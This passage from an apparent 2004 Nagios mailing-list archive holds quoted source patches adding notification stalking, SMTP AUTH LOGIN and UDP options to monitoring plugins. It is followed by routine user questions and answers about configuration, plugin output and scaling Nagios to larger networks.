check_service_notification_viability(service *,char *,int); /* > checks viability of notifying all contacts about a service */ > int is_valid_escalation_for_service_notification(service > *,serviceescalation *); /* checks if an escalation entry is valid for > a particular service notification */ > int should_service_notification_be_escalated(service *); /* checks > if a service notification should be escalated */ > -int service_notification(service *,char *); > /* notify all contacts about a service (problem or recovery) */ > +int service_notification(service *,char *,int); > /* notify all contacts about a service (problem or recovery) */ > int check_contact_service_notification_viability(contact *, service > *); /* checks viability of notifying a contact about a service */ > int notify_contact_of_service(contact *,service *,char *); /* > notify a single contact about a service */ > int check_host_notification_viability(host *,int,char *); /* checks > viability of notifying all contacts about a host */ > Index: base/notifications.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/notifications.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 notifications.c > --- base/notifications.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/notifications.c 7 Dec 2003 21:15:44 -0000 > @@ -58,7 +58,7 @@ > > > /* notify contacts about a service problem or recovery */ > -int service_notification(service *svc, char *ack_data){ > +int service_notification(service *svc, char *ack_data, int > output_changed) { > host *temp_host; > notification *temp_notification; > time_t current_time; > @@ -87,7 +87,7 @@ > } > > /* check the viability of sending out a service notification */ > - if(check_service_notification_viability(svc,ack_data)==ERROR){ > + > if(check_service_notification_viability(svc,ack_data,output_changed)==E > RROR){ > #ifdef DEBUG4 > printf("\tSending out a notification for this service is not viable > at this time.\n"); > #endif > @@ -200,7 +200,7 @@ > > > /* checks the viability of sending out a service alert (top level > filters) */ > -int check_service_notification_viability(service *svc, char > *ack_data){ > +int check_service_notification_viability(service *svc, char > *ack_data, int output_changed){ > host *temp_host; > time_t current_time; > time_t timeperiod_start; > @@ -371,7 +371,12 @@ > } > > /* don't notify if we haven't waited long enough since the last time > (and the service is not marked as being volatile) */ > - if((current_time < svc->next_notification) && > svc->is_volatile==FALSE){ > + if((current_time < svc->next_notification) && > svc->is_volatile==FALSE && > + (!output_changed || > + (svc->current_state==STATE_OK && !svc->stalk_on_ok) || > + (svc->current_state==STATE_WARNING && !svc->stalk_on_warning) || > + (svc->current_state==STATE_UNKNOWN && !svc->stalk_on_unknown) || > + (svc->current_state==STATE_CRITICAL && !svc->stalk_on_critical) )){ > #ifdef DEBUG4 > printf("\tWe haven't waited long enough to re-notify contacts about > this service!\n"); > printf("\tNext valid notification time: > %s",ctime(&svc->next_notification)); > ? cgi/Makefile > ? cgi/authall.patch > ? cgi/avail.cgi > ? cgi/cgiutils.h > ? cgi/cmd.cgi > ? cgi/config.cgi > ? cgi/extinfo.cgi > ? cgi/histogram.cgi > ? cgi/history.cgi > ? cgi/notifications.cgi > ? cgi/outages.cgi > ? cgi/showlog.cgi > ? cgi/status.cgi > ? cgi/statusmap.cgi > ? cgi/statuswml.cgi > ? cgi/statuswrl.cgi > ? cgi/summary.cgi > ? cgi/tac.cgi > ? cgi/trends.cgi > Index: cgi/auth.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/cgi/auth.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 auth.c > --- cgi/auth.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ cgi/auth.c 25 Feb 2004 00:35:29 -0000 > @@ -198,9 +198,6 @@ > int is_authorized_for_host(host *hst, authdata *authinfo){ > contact *temp_contact; > > - if(hst==NULL) > - return FALSE; > - > /* if we're not using authentication, fake it */ > if(use_authentication==FALSE) > return TRUE; > @@ -213,6 +210,9 @@ > if(is_authorized_for_all_hosts(authinfo)==TRUE) > return TRUE; > > + if(hst==NULL) > + return FALSE; > + > /* find the contact */ > temp_contact=find_contact(authinfo->username,NULL); > > @@ -252,9 +252,6 @@ > host *temp_host; > contact *temp_contact; > > - if(svc==NULL) > - return FALSE; > - > /* if we're not using authentication, fake it */ > if(use_authentication==FALSE) > return TRUE; > @@ -266,6 +263,9 @@ > /* if this user is authorized for all services, they are for this > one... */ > if(is_authorized_for_all_services(authinfo)==TRUE) > return TRUE; > + > + if(svc==NULL) > + return FALSE; > > /* find the host */ > temp_host=find_host(svc->host_name,NULL); > diff -ruN nagios-plugins-1.3.0.orig/plugins/check_smtp.c > nagios-plugins-1.3.0/plugins/check_smtp.c > --- nagios-plugins-1.3.0.orig/plugins/check_smtp.c 2003-02-15 > 23:48:46.000000000 +1100 > +++ nagios-plugins-1.3.0/plugins/check_smtp.c 2003-08-12 > 15:00:07.000000000 +1000 > @@ -69,12 +69,77 @@ > char *server_address = NULL; > char *server_expect = NULL; > char *from_arg = " "; > +char *authtype = NULL; > +char *authuser = NULL; > +char *authpass = NULL; > int warning_time = 0; > int check_warning_time = FALSE; > int critical_time = 0; > int check_critical_time = FALSE; > int verbose = FALSE; > > +/* encode64 routine from > http://www.experts-exchange.com/Programming/Programming_Languages/C/ > Q_20245582.html */ > + > +#define BUFOVER (-2) > +#define CHAR64(c) (((c) < 0 || (c) > 127) ? -1 : > index_64[(c)]) > +static char basis_64[] = > +"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ > ??????????????????????????????????????????????????????????????????????? > ????????????????????????????????????????????????????????????????????"; > +static char index_64[128] = { > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, > + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, > + -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, > + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, > + -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, > + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 > +}; > + > +static int > +encode64(const char *_in, unsigned inlen, char *_out, unsigned > outmax, unsigned *outlen) > +{ > + > + const unsigned char *in = (const unsigned char *) _in; > + unsigned char *out = (unsigned char *) _out; > + unsigned char oval; > + char *blah; > + unsigned olen; > + > + olen = (inlen + 2) / 3 * 4; > + if (outlen) > + *outlen = olen; > + if (outmax < olen) > + return BUFOVER; > + > + blah = (char *) out; > + while (inlen >= 3) > + { > +/* user provided max buffer size; make sure we don't go over it */ > + *out++ = basis_64[in[0] >> 2]; > + *out++ = basis_64[((in[0] << 4) & 0x30) | (in[1] >> 4)]; > + *out++ = basis_64[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; > + *out++ = basis_64[in[2] & 0x3f]; > + in += 3; > + inlen -= 3; > + } > + if (inlen > 0) > + { > +/* user provided max buffer size; make sure we don't go over it */ > + *out++ = basis_64[in[0] >> 2]; > + oval = (in[0] << 4) & 0x30; > + if (inlen > 1) > + oval |= in[1] >> 4; > + *out++ = basis_64[oval]; > + *out++ = (inlen < 2) ? '=' : basis_64[(in[1] << 2) & 0x3c]; > + *out++ = '='; > + } > + > + if (olen < outmax) > + *out = '\0'; > + > + return OK; > +} > + > int > main (int argc, char **argv) > { > @@ -83,6 +148,7 @@ > char buffer[MAX_INPUT_BUFFER] = ""; > char *from_str = NULL; > char *helocmd = NULL; > + char *error_msg = NULL; > > if (process_arguments (argc, argv) != OK) > usage ("Invalid command arguments supplied\n"); > @@ -124,41 +190,134 @@ > if (result == -1) { > printf ("recv() failed\n"); > result = STATE_WARNING; > + } else > + result = STATE_OK; > + > + /* make sure we find the response we are looking for */ > + if (result == STATE_OK && !strstr (buffer, server_expect)) { > + if (server_port == SMTP_PORT) > + printf ("Invalid SMTP response received from host\n"); > + else > + printf ("Invalid SMTP response received from host on port %d\n", > + server_port); > + result = STATE_WARNING; > } > - > - else { > - > - /* make sure we find the response we are looking for */ > - if (!strstr (buffer, server_expect)) { > - if (server_port == SMTP_PORT) > - printf ("Invalid SMTP response received from host\n"); > - else > - printf ("Invalid SMTP response received from host on port %d\n", > - server_port); > - result = STATE_WARNING; > + > + if (result == STATE_OK && authtype != NULL) { > + if (strcmp (authtype, "LOGIN") == 0) { > + char abuf[MAX_INPUT_BUFFER]; > + unsigned alen; > + int ret; > + do { > + if (authuser == NULL) { > + result = STATE_CRITICAL; > + error_msg = "no authuser specified"; > + break; > + } > + if (authpass == NULL) { > + result = STATE_CRITICAL; > + error_msg = "no authpass specified"; > + break; > + } > + send(sd, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0); > + if (verbose == TRUE) { > + printf ("sent AUTH LOGIN\n"); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after AUTH LOGIN"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "334", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after AUTH LOGIN"; > + break; > + } > + if (encode64 (authuser, strlen(authuser), abuf, > MAX_INPUT_BUFFER, &alen) != OK) { > + result = STATE_CRITICAL; > + error_msg = "failed to base64-encode authuser"; > + break; > + } > + strcat (abuf, "\r\n"); > + send(sd, abuf, strlen(abuf), 0); > + if (verbose == TRUE) { > + printf ("sent %s\n", abuf); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after sending authuser"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "334", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after authuser"; > + break; > + } > + if (encode64 (authpass, strlen(authpass), abuf, > MAX_INPUT_BUFFER, &alen) != OK) { > + result = STATE_CRITICAL; > + error_msg = "failed to base64-encode authpass"; > + break; > + } > + strcat (abuf, "\r\n"); > + send(sd, abuf, strlen(abuf), 0); > + if (verbose == TRUE) { > + printf ("sent %s\n", abuf); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after sending authpass"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "235", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after authpass"; > + break; > + } > + break; > + } while (0); > + } else { > + result = STATE_CRITICAL; > + error_msg = "only authtype LOGIN is supported"; > } > + } > + > + time (&end_time); > > - else { > - > - time (&end_time); > - > - result = STATE_OK; > - > - if (check_critical_time == TRUE > - && (end_time - start_time) > critical_time) result = > - STATE_CRITICAL; > - else if (check_warning_time == TRUE > - && (end_time - start_time) > warning_time) result = > - STATE_WARNING; > - > - if (verbose == TRUE) > - printf ("SMTP %s - %d sec. response time, %s\n", > - state_text (result), (int) (end_time - start_time), buffer); > - else > - printf ("SMTP %s - %d second response time\n", state_text > (result), > - (int) (end_time - start_time)); > + if (check_critical_time == TRUE > + && (end_time - start_time) > critical_time) result = > + STATE_CRITICAL; > + else if (check_warning_time == TRUE > + && (end_time - start_time) > warning_time) result = > + STATE_WARNING; > + > + if (verbose == TRUE) > + if (error_msg == NULL) { > + printf ("SMTP %s - %d sec. response time, %s\n", > + state_text (result), (int) (end_time - start_time), > buffer); > + } else { > + printf ("SMTP %s - %s, %d sec. response time, %s\n", > + state_text (result), error_msg, (int) (end_time - > start_time), buffer); > + } > + else > + if (error_msg == NULL) { > + printf ("SMTP %s - %d second response time\n", > + state_text (result), (int) (end_time - start_time)); > + } else { > + printf ("SMTP %s - %s, %d second response time\n", > + state_text (result), error_msg, (int) (end_time - > start_time)); > } > - } > > /* close the connection */ > > @@ -211,6 +370,9 @@ > {"warning", required_argument, 0, 'w'}, > {"port", required_argument, 0, 'p'}, > {"from", required_argument, 0, 'f'}, > + {"authtype", required_argument, 0, 'A'}, > + {"authuser", required_argument, 0, 'U'}, > + {"authpass", required_argument, 0, 'P'}, > {"verbose", no_argument, 0, 'v'}, > {"version", no_argument, 0, 'V'}, > {"help", no_argument, 0, 'h'}, > @@ -233,10 +395,10 @@ > while (1) { > #ifdef HAVE_GETOPT_H > c = > - getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:", long_options, > + getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:A:U:P:", long_options, > &option_index); > #else > - c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:"); > + c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:A:U:P:"); > #endif > if (c == -1 || c == EOF) > break; > @@ -261,6 +423,15 @@ > case 'f': /* from argument */ > from_arg = optarg; > break; > + case 'A': > + authtype = optarg; > + break; > + case 'U': > + authuser = optarg; > + break; > + case 'P': > + authpass = optarg; > + break; > case 'e': /* server expect string on 220 */ > server_expect = optarg; > break; > @@ -355,6 +526,12 @@ > " String to expect in first line of server response (default: > %s)\n" > " -f, --from=STRING\n" > " from address to include in MAIL command (default NULL, > Exchange2000 requires one)\n" > + " -A, --authtype=STRING\n" > + " SMTP AUTH type to check (default none, only LOGIN supported)\n" > + " -U, --authuser=STRING\n" > + " SMTP AUTH username\n" > + " -P, --authpass=STRING\n" > + " SMTP AUTH password\n" > " -w, --warning=INTEGER\n" > " Seconds necessary to result in a warning status\n" > " -c, --critical=INTEGER\n" > @@ -379,7 +556,7 @@ > print_usage (void) > { > printf > - ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-w warn] > [-c crit] [-t timeout] [-v]\n" > + ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-A > authtype -U authuser -P authpass] [-w warn] [-c crit] [-t timeout] > [-v]\n" > " %s --help\n" > " %s --version\n", progname, progname, progname); > } > --- /tmp/nagios-plugins-1.3.0/plugins/check_time.c 2003-02-15 > 23:48:46.000000000 +1100 > +++ nagios-plugins-1.3.0/plugins/check_time.c 2003-06-06 > 10:43:32.000000000 +1000 > @@ -61,7 +61,7 @@ > int check_critical_diff = FALSE; > int server_port = TIME_PORT; > char *server_address = NULL; > - > +int use_udp = FALSE; > > int process_arguments (int, char **); > void print_usage (void); > @@ -85,7 +85,13 @@ > time (&start_time); > > /* try to connect to the host at the given port number */ > - if (my_tcp_connect (server_address, server_port, &sd) != STATE_OK) { > + if (use_udp) { > + result = my_udp_connect (server_address, server_port, &sd); > + } else { > + result = my_tcp_connect (server_address, server_port, &sd); > + } > + > + if (result != STATE_OK) { > if (check_critical_time == TRUE) > result = STATE_CRITICAL; > else if (check_warning_time == TRUE) > @@ -94,7 +100,21 @@ > result = STATE_UNKNOWN; > terminate (result, > "TIME UNKNOWN - could not connect to server %s, port > %d\n", > - server_address, server_port); > + server_address, server_port); > + } > + > + if (use_udp) { > + if (send (sd, "", 0, 0) < 0) { > + if (check_critical_time == TRUE) > + result = STATE_CRITICAL; > + else if (check_warning_time == TRUE) > + result = STATE_WARNING; > + else > + result = STATE_UNKNOWN; > + terminate (result, > + "TIME UNKNOWN - could not send UDP request to server > %s, port %d\n", > + server_address, server_port); > + } > } > > /* watch for the connection string */ > @@ -170,6 +190,7 @@ > {"timeout", required_argument, 0, 't'}, > {"version", no_argument, 0, 'V'}, > {"help", no_argument, 0, 'h'}, > + {"udp", no_argument, 0, 'u'}, > {0, 0, 0, 0} > }; > #endif > @@ -193,10 +214,10 @@ > while (1) { > #ifdef HAVE_GETOPT_H > c = > - getopt_long (argc, argv, "hVH:w:c:W:C:p:t:", long_options, > + getopt_long (argc, argv, "hVH:w:c:W:C:p:t:u", long_options, > &option_index); > #else > - c = getopt (argc, argv, "hVH:w:c:W:C:p:t:"); > + c = getopt (argc, argv, "hVH:w:c:W:C:p:t:u"); > #endif > > if (c == -1 || c == EOF) > @@ -275,6 +296,9 @@ > usage ("Timeout interval must be a nonnegative integer\n"); > socket_timeout = atoi (optarg); > break; > + case 'u': > + /* udp */ > + use_udp = TRUE; > } > } > > @@ -338,6 +362,8 @@ > " Seconds before connection times out (default: %d)\n" > " -p, --port=INTEGER\n" > " Port number (default: %d)\n" > + " -u, --udp\n" > + " Use UDP to connect, not TCP\n" > " -h, --help\n" > " Print detailed help screen\n" > " -V, --version\n" > --- nagios-plugins-1.3.0/plugins/check_udp.c 2003-02-19 > 09:24:35.000000000 +1100 > +++ nagios-plugins-r1_3_0-200306050007/plugins/check_udp.c 2003-03-07 > 17:40:33.000000000 +1100 > @@ -6,7 +6,7 @@ > * License: GPL > * Copyright (c) 1999 Ethan Galstad (nagios at nagios.org) > * > -* Last Modified: $Date: 2003/02/18 22:24:35 $ > +* Last Modified: $Date: 2003/03/07 06:40:33 $ > * > * Command line: CHECK_UDP [-p port] [-s send] [-e > expect] \ > * [-wt warn_time] [-ct crit_time] [-to to_sec] > @@ -173,7 +173,7 @@ > print_help (); > exit (STATE_OK); > case 'V': /* version */ > - print_revision (progname, "$Revision: 1.4 $"); > + print_revision (progname, "$Revision: 1.4.2.1 $"); > exit (STATE_OK); > case 'v': /* verbose mode */ > verbose = TRUE; > @@ -220,9 +220,9 @@ > usage ("Invalid host name/address\n"); > server_address = argv[c++]; > } > - else { > + > + if (server_address == NULL) > usage ("Host name was not supplied\n"); > - } > > return c; > } > @@ -246,7 +246,7 @@ > void > print_help (void) > { > - print_revision (progname, "$Revision: 1.4 $"); > + print_revision (progname, "$Revision: 1.4.2.1 $"); > printf > ("Copyright (c) 1999 Ethan Galstad (nagios at nagios.org)\n\n" > "This plugin tests an UDP connection with the specified > host.\n\n"); > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-devel mailing list > Nagios-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-devel > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From chris at slice-dice.com Mon Mar 15 20:46:31 2004 From: chris at slice-dice.com (Chris) Date: Mon, 15 Mar 2004 11:46:31 -0800 Subject: check_by_ssh question Message-ID: <8430F1EC56CE4845BA6A9ED394215E4701B047@disruptor.klingon.empire> running on nagios 1.0 and already have many checks being done by ssh. today i decided to add a new check: check_by_ssh!"/nagios/libexec/check_log2.pl -l /pathtolog.log -s /tmp/msgs.old -p "not found"" all my other check_by_ssh checks work just fine running as the user nagios.. however when this one runs it returns "unable to open pipe".. i'm not sure why this is being returned.. any clues? -------------- next part -------------- An HTML attachment was scrubbed... URL: From bmarkey at kellymichener.com Mon Mar 15 21:04:21 2004 From: bmarkey at kellymichener.com (Bruce Markey) Date: Mon, 15 Mar 2004 15:04:21 -0500 Subject: Event viewer events Message-ID: <07A38DA3437C7C4CA22B79CEAC36868F5EDF24@kellyfile.kellyadv.com> I am running the nsclient and noticed that there is supposedly going to be another client that can send the event viewer events to a nagios machine. That client does not seem to be up yet. Has anyone found another way of doing this? Thanks Bruce Markey -------------- next part -------------- An HTML attachment was scrubbed... URL: From jdoyle at lewisgaleclinic.com Mon Mar 15 21:46:41 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Mon, 15 Mar 2004 15:46:41 -0500 Subject: Event viewer events Message-ID: I was looking for the same type of app just a little while ago. Funny you ask... ----- John N. Doyle Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: Bruce Markey [mailto:bmarkey at kellymichener.com] Sent: Monday, March 15, 2004 3:04 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Event viewer events I am running the nsclient and noticed that there is supposedly going to be another client that can send the event viewer events to a nagios machine. That client does not seem to be up yet. Has anyone found another way of doing this? Thanks Bruce Markey -------------- next part -------------- An HTML attachment was scrubbed... URL: From g.vickers at qut.edu.au Tue Mar 16 00:24:32 2004 From: g.vickers at qut.edu.au (Greg Vickers) Date: Tue, 16 Mar 2004 09:24:32 +1000 Subject: Extended Info config directive Message-ID: <5.2.0.9.2.20040316092027.01d8b860@imap.qut.edu.au> Hi all, I am running several installations of Nagios at various locations, all on Debian. When I upgraded my home install to v1.2 from v1.1, the extended host configuration directive that I wrote no longer seems to work - all the icons have reverted back to question marks. I've checked permissions on the icon files and everything seems OK. Has anyone else had this problem? Also, does anyone know if cfg_dir can be used with Extended Info in v2.x? I tried to use cfg_dir with Extended Info configuration files and this appears to not work in v1.x. Thanks, ================================= Greg Vickers Computer Systems Officer Student Support and Systems, Teaching and Learning Support Systems, Queensland University of Technology, Kelvin Grove Campus, Brisbane, Australia CRICOS No 00213J Ph: 07 3864 8276 Fax: 07 3864 5425 Mob: 0416 001 674 SD: #66147 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fede at inalambrica.net Tue Mar 16 01:31:57 2004 From: fede at inalambrica.net (Federico Figueroa C.) Date: Mon, 15 Mar 2004 18:31:57 -0600 Subject: Extended Info config directive In-Reply-To: <5.2.0.9.2.20040316092027.01d8b860@imap.qut.edu.au> References: <5.2.0.9.2.20040316092027.01d8b860@imap.qut.edu.au> Message-ID: <20040315183157.315472c4.fede@inalambrica.net> On Tue, 16 Mar 2004 09:24:32 +1000 Greg Vickers wrote: > Hi all, > > I am running several installations of Nagios at various locations, all > on Debian. When I upgraded my home install to v1.2 from v1.1, the > extended host configuration directive that I wrote no longer seems to > work - all the icons have reverted back to question marks. I've > checked permissions on the icon files and everything seems OK. Has > anyone else had this problem? I had the same problem, I even tryed to recompile from the src deb to make sure the --with-template-extinfo was beeing pased at compilation time, with no luck, actually nagios is not reading at all the hostextinfo.cfg file, because if I set a non existing png icon for icon_image I don't see any error at the apache error log, I tryed in slackware and everything worked fine, but the main server is a debian box so I had to go back to 1.1. If anyone knows what the problem is please let us know, I wish I could upgrade and get those nice pop-ups working properly. Also Greg, if you get the answer please let me know. Federico Figueroa. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From thomaspan at usa.net Tue Mar 16 02:02:29 2004 From: thomaspan at usa.net (Hu Thomas Pan) Date: Mon, 15 Mar 2004 17:02:29 -0800 Subject: service dependency Message-ID: <000901c40af2$5bed53a0$0d3f91d8@hupan> Hi, I set up a service dependency but it doesn't seem working. The following is the definition: Define servicedependency { host_name host_a service_description service_a dependent_hostgroup_name group_a,group_b dependent_service_description service_b execution_failure_criteria w,u,c notification_failure_criteria w,u,c } What I want is that service_b on group_a and group_b hosts would depend on service_a at host host_a. When service_a at host host_a is at w,u,c status, please stop check service_b on group_a and group_b, ignore notification relative to service_b on group_a and group_b. Nagios -v returns 0 errors. Anything wrong? Thanks, Thomas ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From michael at gargantuan.com Tue Mar 16 02:37:24 2004 From: michael at gargantuan.com (Michael W. Oliver) Date: Mon, 15 Mar 2004 20:37:24 -0500 Subject: Large scale network monitoring limits with nagios In-Reply-To: <3C8515D9676BF9479F7EF3545B63AA220B2107@100NOOSLMSG001.common.alpharoot.net> References: <3C8515D9676BF9479F7EF3545B63AA220B2107@100NOOSLMSG001.common.alpharoot.net> Message-ID: <20040316013724.GA71983@gargantuan.com> On 2004-03-15T11:29:39+0100, Andre Bergei wrote: > So this patch works with 1.x branch, that is good news. > Can the 2.0 cvs patch be applied to 1.x code without any modifications? (I assume this is a 2.0 patch) > I've tried to search the list archive for the original 1.x patch from Daniel, with no luck. I found the patch inline with his original email at: http://sourceforge.net/mailarchive/message.php?msg_id=5983309 The patch didn't apply cleanly to the 1.2 source, so I did it by hand and recreated the diff. It can be downloaded at: http://michael.gargantuan.com/chain-hash-patch.gz MD5 (chain-hash-patch.gz) = a18259077e65e20fd02b08f2e8291539 NOTE: I have not compiled 1.2 with this patch applied, I just made sure that it applied cleanly. You are on your own! All I had to do to apply the patch was: cd /usr/local/src/nagios wget "http://michael.gargantuan.com/chain-hash-patch.gz" tar -zxf nagios-1.2.tar.gz gunzip chain-hash-patch.gz patch From michael at gargantuan.com Tue Mar 16 04:28:49 2004 From: michael at gargantuan.com (Michael W. Oliver) Date: Mon, 15 Mar 2004 22:28:49 -0500 Subject: Large scale network monitoring limits with nagios In-Reply-To: <20040316013724.GA71983@gargantuan.com> References: <3C8515D9676BF9479F7EF3545B63AA220B2107@100NOOSLMSG001.common.alpharoot.net> <20040316013724.GA71983@gargantuan.com> Message-ID: <20040316032849.GB71983@gargantuan.com> On 2004-03-15T20:37:24-0500, Michael W. Oliver wrote: > NOTE: I have not compiled 1.2 with this patch applied, I just made sure > that it applied cleanly. You are on your own! Update: I was able to compile 1.2 cleanly after applying the patch and it seems to be working fine. -- Mike perl -e 'print unpack("u","88V]N=&%C=\"!I;F9O(&EN(&AE861E From stefano.razzauti at yogitech.com Tue Mar 16 09:01:23 2004 From: stefano.razzauti at yogitech.com (stefano razzauti) Date: Tue, 16 Mar 2004 09:01:23 +0100 Subject: nagios doesn't display warning and critical situations Message-ID: <4056B453.4050108@yogitech.com> Hi all, I've setup nagios 1.2 with a lot of monitored host (solaris and linux) using nrpe but I've noted that even if their disk status is lower than the thresholds (both warning and critical one) the web interface display the disk as all is going well (green), with the OK status. In practice: I check disks by the following plugin check: bash-2.03$ ./check_disk -w 20 -c 10 /export/home2 DISK OK [1454591 kB (8%) free on /dev/dsk/c2t10d0s7] as you can see the check results an OK status even if it's lower than both warning and critical threshold!! Why doesn't it get the real status? ste ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Lorenz.Lammersdorf at Dresdner-Bank.com Tue Mar 16 09:28:05 2004 From: Lorenz.Lammersdorf at Dresdner-Bank.com (Lammersdorf, Lorenz) Date: Tue, 16 Mar 2004 09:28:05 +0100 Subject: state=rszdt? Message-ID: hi all, on some machines that are monitored nagios tells me something like "PROCS OK: 51 processes with STATE = RSZDT ". what does this rszdt mean?? thanks lorenz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From andrew.barker at nottingham.ac.uk Tue Mar 16 09:59:01 2004 From: andrew.barker at nottingham.ac.uk (Andrew Barker) Date: Tue, 16 Mar 2004 08:59:01 +0000 Subject: Large networks ? In-Reply-To: References: Message-ID: <1079427541.19123.10.camel@pccajrb.is> I have 3 nagios machines all of which monitor different things, I monitor all my windows servers on one box (68 hosts, 350 services). The other 2 machines have 2 nagios installations on (they are a failover pair), which monitor different things for historical reasons, they monitor about 60 hosts and 300 services each, they run on a pentium III 700 and check most services every 5 or 10 minutes, the load rarely gets above about 0.30 despite the fact they all have web severs as well. (actually I suspect the load would rarely gets above 0.05 but they run X so they can give a live display of the status in the server room) Hope this is the sort of size you had in mind, I would be quite happy running all of the host monitoring under one installation (about 180 hosts and 1000 services) on my PIII Andy On Mon, 2004-03-15 at 18:04, nadine.vandois at bull.net wrote: > Hi, > > I have installed Nagios on small networks, and now, I would like to get > some idea on how many servers (servers, routers) and services, Nagios can > monitor. > And, in this case, which configuration is required, and what are the > performances. > > May someone give some information on this subject ? > > Has someone got experience by monitoring large networks ? > > > Any information you can give is most welcome. > Thanks in advance for your help. > > > Nadine VANDOIS > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > 